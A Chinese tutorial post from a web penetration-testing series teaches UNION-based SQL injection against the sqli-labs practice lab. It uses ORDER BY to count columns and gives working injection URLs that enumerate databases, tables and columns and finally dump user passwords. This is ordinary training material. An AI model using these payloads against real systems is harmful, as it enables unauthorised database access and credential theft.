2. 网易web安全渗透 union联合查询注入
目录
1. sql union操作符
union操作符是用于,并合两个或者多个select语句的结果
注意,union内部的 select语句必须拥有相同数量的列。列也必须拥有相似的数据类型。同时,每条 select语句中的列的顺序必须相同
默认情况,union操作符选取不同的值。如果允许重复的值,请使用 union ALL.。
2. 注入应用场景
- 只有最后一个 SELECT子句允许有 ORDER BY;
- 只有最后一个 SELECT子句允许有uMT;
- 只要UNON连接的几个查询的字段数一样且列的数据类型转换没有问题,就可以查询出结果
- 注入点页面有回显;
sql注入流程图 ,下面就按照上面的流程进行注入
1.ORDER BY 判断列数
ORDER BY 是用来排序的
进行排序这个ORDER BY 关键字经常用于sql注入的时候,根据错误,判断有几个表
列下面有6个表
判断有几个表
ORDER BY 7就报错了,应为他只有6个表
ORDER BY 6就对了
用sqli-labs进行测试
输入4发现就报错了,那这样就判断出来,字段是有3个
2. 观察页面返回,选择可以显示数据的位置,进行下一步的注入
我们输入
URL地址http://192.168.0.104/Less-2/ ?id= -1 union%20 select 1,2,3 --+
判断注入的位置上2和3
执行的sql语句结果就是这个
3读取库的信息
输入的URLhttp://192.168.0.104/Less-2/ ?id= -1 union select 1,user(),3 --+
4.读取数据
1.查看数据库名
URL地址http://192.168.0.104/Less-2/ ?id= -1 union select 1,(select schema_name from information_schema.schemata LIMIT 0,1),3 --+
上面的URL介绍
select schema_name from information_schema.schemata
这个的意思在上一个博客查看1. 网易web安全渗透 手动sql注入
LIMIT 0,1
用于查看行数,应为他只能显示一个,所以输出也只能一个
查看其他下一个数据库
URLhttp://192.168.0.104/Less-2/ ?id= -1 union select 1,(select schema_name from information_schema.schemata LIMIT 1,1),3 --+
结果
只要修改LIMIT 0,1
改成1就可以了
可以看到显示出来了
1.2读取全部的库
上面输出一个不太好
URL地址http://192.168.0.104/Less-2/ ?id= -1 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
用到了group_concat()函数,
应为有很多数据库他只能显示一个,所以用group_concat()叫所以库名都显示到一列中
2.读取查表
通过上面的查询找到数据库全部的数据库名
通过数据库名就可以查询表了
URL地址http://192.168.0.104/Less-2/ ?id= -1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
URL介绍
select group_concat(table_name) from information_schema.tables where table_schema='security'
这个的意思在上一个博客查看1. 网易web安全渗透 手动sql注入
用group_concat()
叫所以库名都显示到一列中
结果
叫表给显示出来了
3.查询列
通过上面的查询查询出来了库和表
通过上面的表查询列
URL地址http://192.168.0.104/Less-2/ ?id= -1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
URL介绍
select group_concat(column_name) from information_schema.columns where table_name='users'
这个的意思在上一个博客查看1. 网易web安全渗透 手动sql注入
用group_concat()
叫所以库名都显示到一列中
结果
查看出来列了
4.读取数据
通过上面的注入,知道了库,表,列
知道了全部就可以查询数据了
用这个select 列名 from 库名.表名
URL地址http://192.168.0.104/Less-2/ ?id= -1 union select 1,(select group_concat(password) from security.users),3 --+
结果
通过注入叫数据给输出出来了
上一篇: 一次简单手工注入